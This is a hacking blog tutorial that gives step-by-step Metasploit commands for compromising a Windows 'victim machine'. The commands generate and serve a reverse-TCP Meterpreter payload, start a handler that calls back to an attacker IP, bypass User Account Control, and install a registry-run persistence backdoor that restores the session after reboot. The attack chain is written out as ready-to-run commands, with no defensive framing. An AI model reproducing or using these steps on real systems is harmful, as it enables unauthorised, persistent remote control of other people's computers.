Hey Folks, in this tutorial we will tell you about the metasploit module, with the help of which we can make our reach for lifetime by creating a permanent backdoor or persistence service on a remote window machine. Let’s talk about the metasploit module first.
Basically the module install a vbs payload on target machine in “Temp” directory that executed either at user logon or system startup via the registry value in “CurrentVersion\Run” but make sure we should have administrative privileges.
Let’s take a look 😛 !!
First of all we have to compromise the victim machine for which we will create a malicious payload using the following command and install it on the victim machine and after that it will give us a meterpreter session of the victim machine. Once the payload is created it gives us a python one liner command to share our payloads as well as a “msfonsole” command that will be automatically ready for the meterpreter session after running the metasploit framework .
msfpc 4443 exe
python2 -m SimpleHTTPServer 8080
If you do not want to use their given msfconsole command then you can prepare for meterpreter session using the following command.
msfconsole
msf6 > use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lport 4443
set lhost 192.168.1.13
run
Done 😛 !! Now we have successfully compromised the victim machine.
User Account Control is a mandatory access control enforcement facility of the window machine that helps to prevent malware from damaging a PC. Furthermore, we cannot control all the features available in the window machine without bypassing user account control enforcement so we need to bypass it to use all the features. After receiving the victim machine’s meterpreter session then we need to use the following module of metasploit framework to bypass the UAC. Just execute the given command and set the session ID that you have got.
use windows/local/ask
set session 1
run
Great 😛 !! Now you can use the “getprivs” command to check whether the UAC is bypassed. As you can see now all the admin rights of the victim machine have been got.
We are now ready to upload our persistence service to the remote machine. Just execute the following command given below and inject the session found after bypassing the UAC.
use exploit/windows/local/persistence
set session 8
run
As proof you can see that the persistence service has been successfully uploaded to the remote machine in the “Temp” directory.
Results 😛 !! Usually when we reboot the victim machine through the meterpreter session we do not get the meterpreter session back but in this case you can see that after booting we get the meterprerer session again of the victim machine which means that our payload has worked.
reboot
set payload windows/meterpreter/reverse_tcp
set lport 4443
set lhost 192.168.1.13
run
Done 😛 !! Now we can get the continuous meterpreter session of the remote machine.
Credit : Wikipedia
The gau (Get All URLs) tool is a versatile open-source utility that collects URLs from…
Jsluice++ is a Burp Suite extension designed for passive and active scanning of JavaScript traffic…
Hey Folks :) !! In this tutorial, we will describe some of the techniques commonly…
Hey Folks :) !! In this article, we present the "Termux Cheat Sheet for Hackers"…
Amid the rapid advancement of technology, the significance of human involvement in cybersecurity frequently goes…
Hey Folks, we are back today after such a long break, but don't worry we…
This website uses cookies.